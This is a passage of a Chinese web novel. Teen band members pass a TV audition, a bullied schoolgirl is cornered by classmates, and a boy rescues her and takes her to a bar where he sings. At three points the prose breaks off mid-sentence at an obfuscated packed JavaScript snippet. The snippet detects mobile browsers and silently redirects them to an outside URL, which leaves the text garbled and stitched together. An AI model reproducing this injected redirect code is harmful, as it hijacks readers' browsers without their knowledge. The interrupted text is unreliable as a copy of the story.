人一旦精神头起来了,事情也就成功了一大半。 四个人今天选了一首很符合他们乐队气质的曲子——《无处可逃》,这是有中国摇滚音乐之父秦凯的成名作。 橙子有些沙哑的声音赋予了这首歌一些张扬的女性气质,乐队的整体基调是昂扬向上充满少年气的,这首死亡摇滚被他们演绎出了不一样的朝气和活力, 一曲表演结束,几个评委互相简短交流了一下,一个评委的目光落在了站在中间的邬蒙身上,低头又看了一眼手里的资料,问:“我看你们几个的年纪都还很小,为什么想来参加这个节目?” 邬蒙想了一下,没有回答之前准备好的“热爱音乐”、“寻找灵魂的自由”、“向崇拜的乐队前辈学习”之类的话,而是诚实地说:“想出名,想赚钱。” 大概是他那张英俊中带点青涩稚气的脸和这过分俗气的话产生了一种奇异的违和感,几个评委都笑了出来。 另一个评委说:“你们知不知道今天你们表演的这首歌的原唱老师也会来参加这个节目?” 不等邬蒙开口,旁边的阿祥抢先道:“知道知道!我爸是他的铁杆粉丝!我还想和秦老师拍个合照呢!” 那名评委笑着说:“恭喜你们,可以在节目现场见到秦老师本人了。” 几个人愣了一下,下一秒,几个少男少女全都兴奋地尖叫起来。 不知道是他们为这次海选起早贪黑的排练起了作用,还是他们的运气足够好,又或者正如邬蒙说的那样——他们身上有他们自己的优势。 这次海选他们顺利通关了。几个评委一致给了他们通关卡。 节目组的工作人员让他们先回去等消息,节目正式录制在杭城市,具体时间和地点到时候再另行通知。 返程的路上,丁丁、阿祥和橙子一脸兴奋地回忆着今天海选现场的一切,他们从候场室里的其他乐手的乐器说到几个评委老师的代表作,事无巨细,哪怕是领着他们进场的工作人员的长相都要细细回味一番,最后橙子像做梦似的感叹道:“我们竟然真的要上综艺节目了,简直不敢相信。” 其他三个人说得热火朝天,但一旁的邬蒙却比来时路上更加沉默了,他看着窗外不停快速划过的风景。 路边的原野已经变得青绿,一片绵延的樱花林飞闪而过,那粉嫩的花瓣在日光下散发着柔和的色彩,像是一片灿烂的云。 他恍惚间意识到——现在已经是四月了,春天到了。 温度上升了,人们脱掉了厚重的棉衣,连心情也变得轻盈,仿佛轻轻一吹,就能和那些飘舞的樱花花瓣一样,飞旋在温暖的春风中。 但邬蒙的这颗心刚飘起来就被史振邦的一通电话截停在了半空中。 “马上就要第二次月考了,今天晚自习你回学校一趟。” - 辛蕴这些天过得有些水深火热。 今天晚自习她正低头温习着英语单词为接下来两天的月考做准备,班上的一个女同学突然走过来敲敲她的课桌,说:“班主任有事找你。” 辛蕴抬头去看那个女同学。 对上她的目光,对方的眼神有些飘忽。 辛蕴低下头看了一眼刚刚用记号笔画出来的单词——“suspicious”(可疑的)。 紫红色的印记散发着热烈的葡萄香味,这暖意融融的春夜因为这过分甜美的香味变得有些危险。 她握紧掌心,重新抬起头冲对方露出一个淡淡的笑容,应了一声:“好。” 辛蕴站了起来,走出教室门,朝教师办公室的方向走去,路过一个转角的时候,一群穿着校服的女生将她团团围住,连拖带拽地带到了一旁的连廊角落里。 高一年级一共两幢教学楼,每层都有连廊相接,每天晚自习下课期间总有很多小情侣在连廊的角落里谈情说爱。 见到一群女生气势汹汹地走过来,原本正在角落里拥抱的一对小情侣识趣地让开了位置。 徐慧敏一把将辛蕴推到了一旁的柱子上,语气不善:“好学生,陪我们聊聊?” 四月初,南城的气温已经接近三十度了,燥热的夜风从连廊那边吹过来,辛蕴的汗水从额头缓缓滑落,顺着她白皙消瘦的脸颊一直滑进脖子里。 徐慧敏对上面前那双沉静又倔强的双眼,没来由地一阵烦躁,她抬起手一巴掌甩过去,却被对方躲开了。 徐慧敏愣了一下,似乎有些意外。她习惯了别人的忍气吞声,没有想过有人竟然敢躲她的巴掌。 没等徐慧敏第二个巴掌甩过来,辛蕴平静地开口道:“如果你讨厌我是因为班规的事情,我想解释一下,制定班规确实是我提议的,这个我不否认,但那些班规不是故意针对某个人,更不是针对你,所有的一切都是王嘉禾的挑拨。” 辛蕴尝试着放下自己的傲气和尊严去和对方解释那天的真实情况,但是显然对方并不愿意听她的解释。 毕竟徐慧敏这些日子施加在辛蕴身上的行为在她自己看来是“为民除害”、是“伸张正义”,如果因为辛蕴的几句诡辩就让她失去了这些行为背后的正义支撑,那她岂不是变成了一个无厘头的笑话? 这是徐慧敏不能忍的。 况且事情已经做到这个份上了,真相到底怎么样,已经没有人在乎了。 她嗤了一声,那张妆容精致的脸上全是鄙夷,说:“你他妈敢做不敢认?十二条班规哪一条不是针对我?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832033|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛蕴的目光落在对方的脸上,经过几分钟的沉默,可能是意识到自己刚才那句解释终究只是徒劳,她轻呼出一口气,扯了扯嘴角,那张清秀的脸上明明没有什么表情,可眼神却怎么看怎么讽刺。 “我那时候连你的名字和脸都对不上,针对你?徐慧敏,你好自恋。” 反正不管她怎么忍耐,这些人都不会放弃针对她,辛蕴索性破罐子破摔,她抛弃了来时在脑中构想好的“怀柔”政策,只想一股脑地将这些天接受到的恶意全都倾泻出来—— “你觉得那些班规针对你,并不是因为别人真的故意针对你,而是因为你这个人本身就烂透了,随便一条正常的班规都能让你跳脚变成小丑,再听别人挑拨两句,你的猪脑子就不会自主思考了。” 徐慧敏的眼睛越睁越大,她简直不敢相信自己听到的这些话是从辛蕴嘴里说出来的,这些天她们变着法地欺负辛蕴,辛蕴从来都是一副逆来顺受的模样,一边打落牙齿往肚子吞,一边还要摆出一副高高在上的姿态。 “他妈的!天天装什么清高?!好像除了你以外我们其他人全都是垃圾!你他妈的真以为自己是什么了不起的人物了?!”徐慧敏被彻底激怒,用力地推了一把辛蕴。 辛蕴的肩膀重重地撞在了身后的柱子上,她吃痛闷哼一声,不顾肩膀上传来钝痛感,奋力推开包围圈,朝连廊的另一边跑去。 其他几个女生很快反应过来,追过来将她团团围住。 灯光昏暗的连廊里站着不少看热闹的学生,可是没有一个人出手帮她,甚至没有人开口说话,他们要么避之不及,要么抱着手臂站在一旁看热闹。 辛蕴呼吸急促,胸膛剧烈起伏着,她双手背在身后,一步一步往后倒退。 徐慧敏步步紧逼,她的眼睛上涂着亮晶晶的眼影,唇彩也是浅浅的樱花粉,嘴角微微上扬的样子其实并不凶狠,甚至有一种少女的天真和稚嫩,可那张脸在辛蕴看来却有种让人胆寒的残忍。 “本来看在你是个好学生的份上不想跟你动手,都怪你自己犯贱,怨不了别人。”徐慧敏讨厌辛蕴,从见到她的第一面就开始讨厌,此刻看到对方像是一只被逼到了悬崖上的兔子,徐慧敏嘴角上扬的弧度更大了一些,她的语气有些得意、有些残忍:“待会儿不要喊得太大声哦,不过我想你这种死要面子的好学生,即使被打了也会忍着不吭声的吧?” 女孩打架没有男生那么简单粗暴,但拽头发、扇耳光、脱衣服这些随便一个招数都比落在身上的拳头更能摧毁一个人的精神和尊严。 徐慧敏要打她,不是今天,也会是不久之后的某一天。没有人能帮她,只有她自己能保护自己。 辛蕴退无可退,她做了几个深呼吸,月光斜斜地落在连廊里,在她纤细的手指间折射出一道冷冽的光芒。 她正要动作。 身后突然有人按住了她的手。 辛蕴愣了一下,转头去看。 一道身影从她身后绕到身前,挡在了她的面前。 少年背对着她,高高瘦瘦的背影在她的脸上落下一道阴影—— 是邬蒙。 辛蕴的身体微微僵硬,好不容易鼓起的戾气和勇气被人生生截断,她有些懵。 邬蒙没有说话,只是略带警告意味地看了一眼周围的几个女孩,又转身看着愣在那里的辛蕴,低声道:“走。” 简短的一个字,却让辛蕴快速回过神,她抬头看了邬蒙一眼,又越过他的身体去看站在对面的徐慧敏。 徐慧敏的脸色很不好看,像是蒙了一层厚重的乌云,但又像是顾忌着什么,并没有动作。 辛蕴抿了抿唇,一直攥紧的手心微微松开,她将手里的东西重新塞回校服口袋,转身朝前方走去。 她的步子并不大,没有虎口脱险的仓惶和侥幸,只是一步一步地朝前走。 邬蒙不紧不慢地跟在她身后。 一阵夜风吹起走廊边的樱花,粉白色的花瓣如细雨一般落了下来。 辛蕴眼角余光瞥向地面上两人平行的影子,昏黄的灯光落下来,邬蒙的侧脸像是一幅漫画,高低起伏,棱角分明,他的身影并不伟岸,甚至有几分少年的清瘦和削薄,却将身后的阴翳全都隔绝。 而在那道影子之后的事情,辛蕴不需要考虑。 13. 第 13 章 两人走出去一段距离。 “邬蒙,你他妈的不要多管闲事!”身后传来了徐慧敏有些暴躁的声音。 邬蒙停下脚步,回头望向那边,扯了扯嘴角,戏谑道:“动不动就‘他妈的’,‘他妈的’,你没有妈?不用给你妈积点德?” 徐慧敏被这话怼得哑口无言,只能又急又气地瞪着两人,在她忿恨的目光中,邬蒙带着辛蕴离开了那里,下楼梯来到了一楼。 连廊两边趴着许多看热闹的学生,邬蒙带着辛蕴来到了学校操场。 晚自习的铃声敲过两遍,此刻操场上除了他们之外半个人影也没有,周围十分安静,只有风吹动头顶的香樟树发出沙沙的声响。 两人坐在观众台的阶梯上,沉默地看着无人的跑道和跑道中间的足球场。 春天已经到了,辛蕴看到足球场上已经铺了新的草皮,那一片脆嫩的绿色即使在黑夜里看起来也十分清新怡人。 校园外的路灯和街对面建筑物的灯光透过白色的栅栏投进来,让眼前的画面像是套上了一层柔光滤镜。 过了片刻,她听到了邬蒙的声音。 “胆子挺大。”他说。 这语气不像是责怪,当然,更不可能是赞美。 辛蕴抿了抿唇,没有说话。 从小到大一旦她自知理亏的时候总是会保持沉默,不哭不闹不解释也不认错,任凭别人怎么生气怎么责怪,她既不反抗也不求饶,只是睁着一双波澜不惊的眼睛,定定地看着某处静静发呆。吴咏梅总说辛蕴天生是个犟种,这话一点没错。 邬蒙看着少女倔强的侧脸,他不知道自己今天怎么会有这个闲工夫去操这个闲心,但他还是把话说出了口:“你知不知道今天你把那东西拿出来整件事的性质就变了?” 辛蕴又是一阵沉默,过了片刻,她低头从宽大的校服口袋里拿出一把粉色的美工刀。 邬蒙的视线滑落到那她手里的那把美工刀上,粉粉嫩嫩的颜色,外面的壳套上还印着可爱的卡通动物形象。 他看着那只笑得眉眼弯弯的小狐狸,心里不知道怎么冒出一个很幼稚的想法——如果这只小狐狸知道了它的主人刚才打算拿着它去做些什么,现在肯定是笑不出来了吧? 这么想着,邬蒙竟然有种想笑的冲动。这种不合时宜的冷幽默让他及时挪开了自己的视线。 下一秒,他听到了少女平静的声音—— “我没有要伤害她们的意思,但是我要保护我自己。” 她说这话时的语气有些压抑克制后的晦涩,那种晦涩不是觉得自己委屈,而是有些难以启齿似的,好像跟他解释自己真实的动机是一件很羞耻的事情。 邬蒙当然不是真的要批评辛蕴,或者一定要让她为今晚的行为做出一个合理的解释。他只是……只是刚巧路过那里,再顺便管了一件闲事而已。 但此刻少女别扭的解释反而让他心里产生了一种奇怪的感觉。 夜风迎面吹过来,将两人脚下的落叶卷得翻飞,干枯的香樟树叶和水泥地面摩擦着发出悉悉索索的声响。 邬蒙叹了一口气,语气软了下来,似乎有些无奈:“我知道。”他目光眺望着跑道那边的灯火,沉默片刻,用一种近乎是叹息的语气说:“你只是太害怕了。” 辛蕴一愣,她转头看着身边的少年,然而对方却不说话了,她低下头,说:“我不怕。” “嗯。”邬蒙当然不会戳穿少女的伪装,他站了起来,脚尖碾着地上的落叶。 明明已经是春天了,香樟树的叶子还是没完没了地落个不停。 他转头看着她,说:“我先走了。” 辛蕴坐在那里没动。 邬蒙也没管她,走出去几步,又回头看着她。 少女单薄的身影隐没在一片朦胧的夜色中,看起来几乎要和香樟树叶一起被卷落风中。 他问:“你不回教室吗?” 辛蕴没有看他,只是缓慢而坚定地摇摇头。 刚才那个女同学来找辛蕴的时候教室里不少人都看着她们,大家心知肚明外面等着辛蕴的是一场“鸿门宴”,但却没有一个人提醒她,甚至还用一种巴不得看好戏的眼神看着她。要是换做平时辛蕴还可以忍受这种恶意,但是今晚她觉得自己没有办法在那个环境里待下去。 见辛蕴摇头,邬蒙的眉头微微皱起,他想了想,要开口说点什么,又深觉今晚自己实在有些爱心泛滥了,他耸了耸肩,没再说什么。 直到少年的背影快要消失在转角处,辛蕴这才转头看过去。但她的视线没有来得及捕捉到邬蒙的身影,整个操场便只剩下一片空荡荡的寂静。 整个世界好像只剩下了她一个人。 风从空旷的足球场上吹了过来,带着一点冰冷的潮意,辛蕴弓起身体,双手抱着膝盖,将脸埋进了自己的臂弯里。 不知道过了多久,她听到了一阵铃声。 虽然刚才还信誓旦旦地说自己不想回去上课,但从小到大刻在骨子里的好学生基因还是让辛蕴抬起了头。 就在她犹豫要不要回去的时候,跑道那边突然传来一阵动静。 辛蕴眯着眼睛去看,就见少年骑着一辆自行车朝这边疾驰而来。 是去而复返的邬蒙。 在她有些惊讶的目光中,他停下车,仰头看着她的方向,稍稍抬起下巴,说:“带你去个地方?” 辛蕴本来以为自己会犹豫,但她几乎是立刻就点了头。 在邬蒙注视的目光中,她从观众席的阶梯上一步一步跳下来,月光落在辛蕴宽大的校服上,这不合身的衣服让她的动作看起来有些笨拙。 辛蕴自觉这情景应该算不上动人,她莫名想到了自己房间书架上的那个八音盒。 辛蕴希望此刻她在跑道上仰头看着她的那个少年眼里一如八音盒里那位伴着音乐起舞的芭蕾少女一样优雅美丽。 她迈向他的步伐因为这奇怪的想法变得既轻盈又羞耻。 “上来吧。”邬蒙拍了拍自行车后座。 辛蕴坐了上去。 这不是邬蒙上次骑的那辆不能载人的山地自行车,他似乎也并不习惯骑这种普通的自行车载人,车身不受控制地摇晃了两下。 辛蕴条件反射地拽了一下他的衣服。好在,车身很快又稳了下来。 一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832034|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都发生得太快,辛蕴被烫到了似的飞快收回自己的手,她的心跳得有些快,偏偏还要装作若无其事。 邬蒙像是毫无察觉,又或者是全然不在意,他蹬着自行车出了操场,沿着旁边的香樟树小路朝校门口骑去。 路灯的光透过香樟树的枝叶洒在了两人身上。 辛蕴拿出自己的手机,思索再三,在屏幕上打下一行字——史老师,我有点不舒服,今晚请假。 邬蒙听到打字的声音,转头瞥她一眼,看见屏幕上的字,嗤笑了一声。 辛蕴的脸有些红,飞快地点了“发送”,立刻将手机塞回了口袋。 邬蒙带她来到了飞星街。这是当地一条很有名的古街,也是外地游客来南城市必打卡的景点之一。 辛蕴本来以为邬蒙要带她逛街,没想到他却带着她七拐八拐最后停在了一家酒吧门口。 辛蕴看了一眼头顶那块酒吧招牌,又转头看着邬蒙。 邬蒙耸了耸肩,冲她露出一个笑,然后抬脚迈了进去。 辛蕴站在原地看着他的背影,又探头看了一眼酒吧内部,看起来应该就是一家普通的清吧,没什么乌烟瘴气。她犹豫几秒,跟着走了进去。 邬蒙一露面,早有相熟的服务生走过来跟他打招呼:“阿蒙?你小子怎么来了?今晚不是你的班啊。” 邬蒙冲着那人笑了笑,说:“我今晚不是来上班的,是来消费的。”他拍了一下那人的肩膀,脸上的笑容有些痞气:“给我找个好位置。” 那服务生飞快地瞥了一眼邬蒙身旁的辛蕴,笑得很坏,问:“哟,带妹妹来的?” 辛蕴有些不自在,不等她开口说话,那个服务生又搞怪地做了一个立正的动作,嘴里道:“是,老板!今天一定把你们服务好!” 邬蒙笑着捶了他一拳。 两人在服务生的引导下坐在了一个角落里的清净位置。邬蒙自己点了一杯长岛冰茶,又给辛蕴点了一杯橙汁。 服务生一脸暧昧,怪笑道:“橙汁?这么绅士呢?”说完,他冲辛蕴眨了眨眼,不等邬蒙的拳头飞过来,他飞快地转身拿着酒水单子走了。 辛蕴第一次来这种地方,难免有些不自在。 邬蒙找了个舒服的姿势往后靠在沙发上,冲着对面的辛蕴说:“别介意,他们就是这个样子,没有恶意。” 辛蕴点点头,但坐姿还是有些僵硬。 邬蒙看出了她的拘谨,勾起唇角打趣道:“坐得这么笔直,来这儿上课呢?”他平时在学校很沉默,现在看起来却有一种脱胎换骨般的潇洒和从容,这种反差让辛蕴的脸颊有些发烫。 酒水送过来之后,邬蒙直接拿起那杯长岛冰茶喝了一大口。 辛蕴没有动自己面前的那杯橙汁,只是抬头看着面前那个少年,他的喉结在修长的脖颈间上下滚动了几个来回,将一杯长岛冰茶喝下去一大半,这才放下酒杯,看着她说:“我去台上唱两首,你自己在这里待一会儿。” 辛蕴回过神来,愣了一下:“我……” “想听什么歌?”他冲她眨眨眼,用开玩笑的语气说:“平时客人点歌一百两首,今天免费让你点。” 14. 第 14 章 辛蕴愣了一下。 酒吧的音响里正放着一首躁动的摇滚乐,像是催人上场的战鼓,在这密集又紧迫的鼓点声中,她显得有些手足无措,只能摇摇头。 好意被拒绝,邬蒙不甚在意地耸耸肩,转身朝舞台那边走去,早有老顾客认出了他,有人吹口哨,有人尖叫,还有人大声地喊“阿蒙”,酒吧里的气氛一瞬间变得火热。 邬蒙一一谢过他们的捧场,在人潮的簇拥和尖叫声中他登上舞台,拿起一把吉他,手指扫过琴弦,一串流畅的音符从音响里泄出。 “大家晚上好!我是今天的主唱阿蒙。”他牙齿很白,笑起来阳光极了,很容易让人产生好感。 舞台边围着不少穿着火辣的年轻女孩,听到邬蒙说话,她们尖叫着、欢呼着,宛如一簇簇橙红色的火把,跳跃着兴奋的火花。 辛蕴像是被那些跳跃的火苗燎到了,心里突然涌起一种莫名的失落情绪,她收回视线,目光落在了对面的那杯长岛冰茶上。 透明的玻璃杯里只剩下小半杯淡褐色的酒液,冰块化了大半,一道道水痕顺着玻璃杯表面淌了下来。 辛蕴定定地盯着那个玻璃杯看了片刻,抽出桌上的餐巾纸,将流到桌上的那一小滩水渍擦干净。 舞台那边邬蒙已经开始唱了—— “美是初见 燃起爱情火焰 燃烧在茫茫东海边缘 随着风飞翻 卷睫盼 ……” 如果辛蕴没记错的话,这是她很小的时候看过的一部电视剧的主题曲。在她的印象里,那是一部喜剧元素很多的神话题材电视剧,主题曲也是偏欢快搞怪的风格,但邬蒙却将这首歌唱得很温柔缱绻。 他的声音其实不属于传统意义上的“好嗓子”,不澄澈,不清亮,甚至还有一点吐字不清的含糊和沙哑,但听起来却很温柔,带着一点少年特有的蓬勃朝气,这种奇异的碰撞让他的歌声听起来很抓人。 那个一个很美好的夜晚,辛蕴坐在酒吧的角落,听着邬蒙唱了很多首歌。 周围的环境其实算不上很好,人声嘈杂,甚至空气里还充斥着她最讨厌的烟味,可后来每每回想起来,辛蕴只觉得内心一片宁静,那晚的一切似乎都融化在了少年温柔的歌声里。 两人走出酒吧的时候,古街上已经没有什么人影了。 邬蒙转头看着辛蕴,问:“怎么样,好学生,心情有没有好点?” 辛蕴这些天对“好学生”这三个字有些应激,但她明白此刻对方的话语里并没有任何讽刺意味。 “嗯。”她点点头。 邬蒙抬头看着夜空中闪烁的星子,长而惬意地叹了一口气,说:“难怪这条街叫飞星街,一抬头就能看到星星,真美。” 辛蕴抬头去看。果然,今晚的星空很美。在城市里生活久了,她好像已经好久没有见过这么干净的夜空了。 走到停车的地方,邬蒙转头看着辛蕴,说:“我送你回家吧。” 辛蕴抬手看了一眼腕表——晚上十点整。正是晚自习放学的时间。 从小到大的“淑女教育”告诉她——让一个不算太熟悉的男生送自己回家,这是一个有些越界的行为。 辛蕴本能地想要开口婉拒,可话到嘴边,还是打了个转:“会不会太麻烦你?” 邬蒙跨上了车,冲着她拍了拍后座,扯了扯嘴角,说:“上来。” 辛蕴抿了抿唇,坐了上去。 古街的青石板路算不上平整,车子载着两人摇摇晃晃,车轮轧过石板,发出吱扭吱扭的声响。路灯朦胧的的光和晚樱的花瓣一起洒落在两人的肩膀上。 她抬头去看。 夜风从狭长的巷子里迎面吹过来,吹动少年人的额发。 辛蕴脑海中蓦然浮现出“春风沉醉的夜晚”这几个字。 她记得这是一部很有名的文艺电影,她从来没有看过这部电影,但辛蕴相信那应该是一部很美好的片子。因为此时此刻她光是把这几个字在舌尖细细嚼一遍都觉得心头涌动着无限柔情。 从飞星街到辛蕴家的距离不算长,邬蒙骑着自行车把她送到了小区门口。 保安先是看到邬蒙的脸,见是生人,他从保安亭走了出来,正要询问具体信息。突然又看到辛蕴从后座探出脸,他愣了一下,连忙冲对方露出一个笑,赶紧打开了闸门。 邬蒙却并没有要进去的意思,他停下了车。 辛蕴从后座上跳下来,抬头看着他的眼睛,由衷地感激:“今晚谢谢你。” 邬蒙摆摆手,冲小区里面抬抬下巴,说:“你进去吧。” 辛蕴点点头,转身迈进小区门,走出去一段距离,她站在树影里回头去看。 邬蒙还在原地,他单脚撑着自行车,下巴微抬,视线似乎是望着她这边,又像是在看着小区门口的那一株樱花树发呆。 不知道邬蒙有没有注意到自己正回头看着他,辛蕴想要冲对方露出一个笑容,可又觉得有些不好意思,两人之间隔着一段距离,如果他根本没有在看她,她这样冲着空气傻笑岂不是显得很傻? 辛蕴抿了抿唇,回过头继续朝前走。 走出去几步,脚步却有些迟疑。 然而她第二次回头的时候,少年已经消失不见了,只剩下一地昏黄的路灯光影和飘在夜风中的粉白色花瓣。 邬蒙骑着车离开了。 他走的时候保安还冲他露出了一个带着讨好意味的笑容,像是在为刚才的盘问动作表达歉意。 夜风吹过来,吹散了一身的燥热。 明明不久前他还在想南城会不会再有一场雪。 可春天就这么悄然而至了,夏天好像也不远了。 邬蒙骑出去一段距离,回头看了一眼。 身后那个小区的绿化做得很好,从这个角度几乎看不到里面的建筑物。 如果邬蒙没记错的话,他读小学的时候曾经在地铁广告上看过这个小区的广告,全市最顶端的楼盘之一,离一中不过十几分钟的步行距离。 路灯的光将少年的影子拉得很长。 他没有来得及想更多。 丁丁的电话打了过来。 “你小子把我的自行车骑哪儿去了?快点给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832035|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我骑回来!我爸让我出去给他买夜宵呢!快点的!” 邬蒙嘴角微微上扬,上半身微微前倾,将身下的那辆自行车蹬得飞快。 “来了!”他说。 - 在那之后的几天,邬蒙每天都会来学校。 虽然时间不固定,有时候是下午,有时候是晚上,但一天当中总有某个时间段是能看到他的。 辛蕴还是以前那样,每天到了教室,除了必要的上厕所接水之外,其余时间都雷打不动地坐在座位上学习。 这以前这对辛蕴来说是一种孤独又艰难的苦修,现在她却觉得日子仿佛也没有那么难熬。 像是武侠小说里突破了瓶颈的主角,熬过最难的那个关口,一切都变得豁然开朗了。 辛蕴突然想通了很多。 但徐慧敏显然还是对那天晚上的事情耿耿于怀,不仅经常亲自过来找辛蕴的麻烦,她手下的那些小跟班对辛蕴的骚扰更是变本加厉。 面对这些,辛蕴的心情已经平静许多,不管那些人怎么骚扰她,她都是一副笑看小丑的模样。 徐慧敏几拳打在了沙包上,虽然气急败坏,但也拿辛蕴没辙。 辛蕴成绩好,是班主任的重点关照对象,徐慧敏多少有点顾忌,加上上次打架斗殴的事情差点害她被一中开除,所以这次她不敢轻易动手。 就这么兵荒马乱又岁月从容地过了三天的时间,一中很快就迎来了第二次月考。 这天辛蕴考完下午的数学,收拾好书包,踏出考场的门,恰好看到了走廊里的王嘉禾。 王嘉禾抱着几本资料书,低头匆匆走过,擦肩而过的那一瞬间,辛蕴破天荒地主动跟对方打起了招呼。 “王班长。” 王嘉禾回头看过来,见到辛蕴的脸,她的脸上挤出一个笑,用眼神询问辛蕴有什么事。 辛蕴笑眯眯地走过来,问:“王班长,下午数学考得怎么样?” 王嘉禾客气地回道:“还行。” 辛蕴点点头,说:“这样啊,我觉得这次月考的试卷有点简单,后面几个大题我之前都刷到过类似的题型。” 王嘉禾脸上的笑容有些僵硬,客气地说:“是嘛,那你这次应该考得很不错吧。” 辛蕴丝毫不谦虚,她直直地盯着对方的眼睛,说:“数学拿满分应该不是问题。” 王嘉禾的表情一下子僵在了脸上。就算是再自大的学生,碰到别人询问考试结果时也会谦虚上一两句。毕竟任何考试都不可能十拿九稳。但眼前这个人却狂妄到了极点,竟然直接说她可以拿满分。 王嘉禾当然不认为辛蕴是个愚蠢的自大狂,唯一的解释就是——辛蕴对她自己说的话有足够的把握。 王嘉禾的心脏猛然下坠,像是吃了一记闷拳似的,她一时间竟然想不出该用什么样的表情和语气来回辛蕴这句话。 已经是阳春了,迎面吹过来的风带上了暖意。辛蕴突然走近几步,散落在白皙脸颊边的几缕碎发被风吹得微微摆动,她漆黑的眼珠盯着王嘉禾的眼睛,说:“那天晚上是你让徐慧敏找我麻烦的,对不对?” 15. 第 15 章 王嘉禾愣了一下,脸上的表情一下子变得有些仓皇,她猛地转头看向辛蕴。 辛蕴的目光锁定她的脸,没有放过那张脸上的每一丝表情。 徐慧敏虽然是个小太妹,但她不会无缘无故地突然发难,除非是有人又在中间搞了什么小动作。 辛蕴不用费什么心思去猜,就已经将嫌疑人锁定。 只是她没想到对方竟然这么容易就被自己三两句话诈出来了。 王嘉禾也反应了过来,她看着辛蕴的脸,试图为自己辩解,然而辛蕴却没有给她这个机会。 辛蕴那张一贯没什么表情的脸上再次浮现出一个浅淡的笑容,她走近了几步,用手轻拍了两下王嘉禾的肩膀,语气平静地说:“接下来好好考,不要连第二名都丢了。” 说完这句话,她和她擦肩而过,带起一阵冷冽的清风。 王嘉禾愣愣地转头去看。 女孩的身影纤瘦,背上那个大大的黑色书包几乎要把她的肩膀压垮,可是她的步伐却是那么的轻盈,像是一只翩跹的蝴蝶。 辛蕴沿着教室外的那条长廊一直走,夕阳西下,在雪白的墙壁上投下橙黄色的光影。她握着书包背带的双手微微松开,转头去看远处的残阳,轻轻呼出一口气。 辛蕴自认和王嘉禾并没有什么交集,她到现在也没搞清楚对方这莫名其妙的恶意到底来自于何处。 如果第一次班规事件可能是王嘉禾不小心而为之的话,那么这一次她在月考前挑唆徐慧敏来找自己的麻烦那就是纯粹的恶毒了。 辛蕴刚才的话说得漂亮又凌厉,可没走出去几步,她的心就像是一颗被戳破的气球,很快就瘪了下来。 被人讨厌和憎恶并不是一件令人愉悦的事情,尤其是这份恶意还来得有些莫名其妙。 但辛蕴已经不想再去纠结“为什么”的问题了。 兵来将挡水来土掩。 她在这些乱七八糟的事情上耗费了太多心神,现在根本不想再分给那些污糟的人和事任何眼神了。 因为明天还有两门课要考,今天晚上不用到校上晚自习。辛蕴回家吃完饭,换了一身衣服,背上一个帆布包就要出门。 吴咏梅正在厨房洗碗,听到开门的动静,她探头出来看着辛蕴,问:“今天晚上不是不上课吗?你现在要去哪儿?” 辛蕴飞快地闪身用门板挡住身体,含糊其辞地答:“和朋友约了去图书馆。”说完,不等吴咏梅给出任何反应,她飞快地关上门头也不回地小跑出了家门。 春天是南城市最美好的季节,不管是大街上绿化带里的樱花、月季,还是小巷子里的玉兰、山茶都一一绽放,整个城市浸泡在一片绚烂馥郁的花海中。 在这个潮热的春夜里,辛蕴穿着一件白色的长裙穿梭在城市的大街小巷中。 沿街种着很多日本晚樱,带着花香气息的晚风迎面吹过来,吹动着头顶的樱花和她纯白的裙摆。 从鸽子笼一般的学校里逃出来,辛蕴的心情放松了不少。 她来到了上次过生日的那家烤肉店。 工作日晚上的七点半,店里的客人没有上次那么多。或许是因为今天的天气还不错,店门口摆着的几张桌子旁围坐着一些零零散散的客人, 辛蕴也选择坐在了外面。 服务员看到她坐下,很快就过来倒水,提醒她可以扫码点单。 辛蕴拿出手机扫码,一边漫不经心地滑动着菜单,一边朝店内看去。 隔着一层玻璃,她看见邬蒙和一个年轻的男生并肩坐在吧台前,正和吧台后面的服务生聊着天。 从辛蕴的角度看过去,只能看到他圆圆的后脑勺和偶尔因为交谈转过来的小半张侧脸。 辛蕴按了一下锁屏键,对着黑漆漆的屏幕不动声色地检查了一下自己的脸,又若无其事地按亮手机,随便点了一个套餐。 烤肉店的客人大部分都是来聚餐聊天的好友或者同事,几乎看不到辛蕴这样的年轻独身女性,菜端上来没多久,隔壁一桌几个男士就开始时不时投来打量的目光。 辛蕴低着头假装没注意到,她吃了几口烤肉串,目光又忍不住瞥向店内。 邬蒙和那个男生已经不在吧台那边了,店内传来了一阵隐隐约约的歌声,应该是他们在给里面的客人表演。 这家烤肉店的地段很好,店里的消费水平也远比一般的烤肉店高,辛蕴点了一个三百多的套餐,里面也仅仅只有一盘龙虾和十几串烤串。 